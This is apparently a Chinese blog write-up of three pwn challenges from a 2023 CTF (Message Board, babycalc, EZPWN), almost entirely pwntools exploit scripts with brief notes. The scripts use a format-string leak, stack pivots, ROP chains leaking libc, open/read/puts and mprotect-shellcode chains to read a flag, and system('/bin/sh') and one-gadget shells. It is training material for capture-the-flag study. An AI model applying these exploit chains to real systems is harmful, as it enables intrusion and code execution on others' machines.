Message Board
格式字符串漏洞获取栈地址,下一处读入利用栈地址获取libc基址
payload = p64(stack_addr+0xb0+0x28) #rbp
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(0x4012e0)
p.send(payload)
两次leave_ret将rsp矫正
orw:
布置为stack_addr+0x28-8,执行orw
payload = p64(stack_addr+0xb0+0x28)
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(0x4012e0)
p.send(payload)
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)
#open(stack_addr+0xd0,0)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])
#read(3,elf.bss()+0x800,0x50)
orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
#puts(elf.bss()+0x800)
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(orw)
exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('tcp.cloud.dasctf.com',23820)
else:
p = process(name)
libcso = './libc.so.6'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss = elf.bss()-0x80
bss4=bss+0x400
li(hex(bss4))
pop_rdi=0x401413
ret=0x40101a
leave=0x4012e0
read=0x401378
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ru('name:\n')
sl('%28$p')
ru('Hello, ')
stack_addr = int(p.recv(14),16)-0x1a0
li('stack_addr = '+hex(stack_addr))
ru(b'Now, please say something to DASCTF:\n')
payload = p64(stack_addr+0xb0+0x28)
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(0x4012e0)
p.send(payload)
libc_base=l64()-libc.sym['puts']
li('libc_base = '+hex(libc_base))
pop_rsi = libc_base+0x000000000002601f
pop_rdx = libc_base+0x0000000000142c92
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)
#open('./flag\x00\x00',0)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])
#read(3,elf.bss()+0x800,0x50)
orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
#puts(elf.bss()+0x800)
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(orw)
itr()
另一种mproetct+shellcode:
mp = p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mproetct)
#mproetct(bss,0x1000,7)
mp += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x600)+p64(pop_rdx)+p64(0x300)+p64(elf.plt["read"])
#read(0,bss+0x600,0x300)
mp += p64(bss+0x600)
#shellcode
mp = mp.ljust(0xb0,b'\0')
mp += p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(mp)
ru(b'Posted Successfully~\n')
sc = asm(shellcraft.cat(b"./flag"))
p.send(sc)
[](https://assets.b3logfile.com/siyuan/1667574167156/mp = p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mproetct) #mproetct(bss,0x1000,7) mp += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x600)+p64(pop_rdx)+p64(0x300)+p64(elf.plt["read"]) #read(0,bss+0x600,0x300) mp += p64(bss+0x600) # mp = mp.ljust(0xb0,b'\0') mp += p64(stack_addr+0x28-8)+p64(0x4012e0) p.send(mp) ru(b'Posted Successfully~\n') sc = asm(shellcraft.cat(b"./flag")) p.send(sc))
babycalc
Python_Z3_C4cke的博客-CSDN博客_python z3
满足全部条件会到puts,否则直接退出
通过z3求出v3到v18的值
from z3 import *
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18 = Ints("v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18")
#
s = Solver()
s.add(v5 * v4 * v3 - v6 == 36182)
s.add( v3 == 19)
s.add( v5 * 19 * v4 + v6 == 36322)
s.add( (v13 + v3 - v8) * v16 == 32835)
s.add( (v4 * v3 - v5) * v6 == 44170)
s.add( (v5 + v4 * v3) * v6 == 51590)
s.add( v9 * v8 * v7 - v10 == 61549)
s.add( v10 * v15 + v4 + v18 == 19037)
s.add( v9 * v8 * v7 + v10 == 61871)
s.add( (v8 * v7 - v9) * v10 == 581693)
s.add( v11 == 50)
s.add( (v9 + v8 * v7) * v10 == 587167)
s.add( v13 * v12 * v11 - v14 == 1388499)
s.add( v13 * v12 * v11 + v14 == 1388701)
s.add( (v12 * v11 - v13) * v14 == 640138)
s.add( (v11 * v5 - v16) * v12 == 321081)
s.add( (v13 + v12 * v11) * v14 == 682962)
s.add( v17 * v16 * v15 - v18 == 563565)
s.add( v17 * v16 * v15 + v18 == 563571)
s.add( v14 == 101)
s.add( (v16 * v15 - v17) * v18 == 70374)
s.add( (v17 + v16 * v15) * v18 == 70518)
if s.check() == sat:
model = s.model()
print("v3 = ", model[v3])
print("v4 = ", model[v4])
print("v5 = ", model[v5])
print("v6 = ", model[v6])
print("v7 = ", model[v7])
print("v8 = ", model[v8])
print("v9 = ", model[v9])
print("v10 = ", model[v10])
print("v11 = ", model[v11])
print("v12 = ", model[v12])
print("v13 = ", model[v13])
print("v14 = ", model[v14])
print("v15 = ", model[v15])
print("v16 = ", model[v16])
print("v17 = ", model[v17])
print("v18 = ", model[v18])
从绿条处可以注意到程序读入到的值都会进入v3地址中
同时上面buf下标为读入字节处的值赋为0,存在off-by-none漏洞
rax是从[rbp + var_4]获得的,然后会将其低位16字节数据放到[rbp + rax +var_30]即rbp + rax -0x30地址上
rbp-0x4在栈上是可覆盖的,所以我们可以控制(rbp -0x30 + 0x20)-(rbp - 0x30 + 0xff)中间的某一个字节
exp:
v3 = 19
v11 = 50
v14 = 101
v13 = 212
v16 = 199
v6 = 70
v4 = 36
v5 = 53
v9 = 17
v17 = 24
v15 = 118
v18 = 3
v7 = 55
v12 = 131
v10 = 161
v8 = 66
data = [
v3 ,
v4 ,
v5 ,
v6 ,
v7 ,
v8 ,
v9 ,
v10,
v11,
v12,
v13,
v14,
v15,
v16,
v17,
v18,
]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret = 0x00000000004005b9
pop_rbp = 0x00000000004006b0
pop_rdi = 0x0000000000400ca3
read = 0x00000000004007B4
#98
pl=p64(ret)*19+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(0x602018+0x100)+p64(read)
pl = fit(
{
0: str(0x17) + "\x00",
0x8: pl,
0xd0: [
p8(v3),
p8(v4),
p8(v5),
p8(v6),
p8(v7),
p8(v8),
p8(v9),
p8(v10),
p8(v11),
p8(v12),
p8(v13),
p8(v14),
p8(v15),
p8(v16),
p8(v17),
p8(v18)
],
0xfc: p32(0x38)
},length=0x100
)
ru("number")
s(pl)
libc_base=l64()-libc.sym['puts']
li(hex(libc_base))
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pl = b"/bin/sh\x00"+b'a'*0x18+p64(sys)
li(hex(elf.got["strtol"]))
dbg()
s(pl)
EZPWN
pop_rdi=0x40127b
pop_rsi_r15=0x401279
pl=p64(bss)+b'a'*0x110+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401172)
sl(pl)
libc_base=l64()-libc.sym['puts']
li('libc_base = '+hex(libc_base))
pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_r12= libc_base + libc.search(asm('pop r12;ret;')).__next__()
p.recvuntil('input:\n')
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + 0xe3afe
pl1=p64(bss)+b'a'*0x110+p64(pop_r12)+p64(0)+p64(og)
s(pl1)
itr()
标签:p64,puts,libc,elf,pop,复现,2023,论剑,addr From: https://www.cnblogs.com/shuzM/p/17124134.html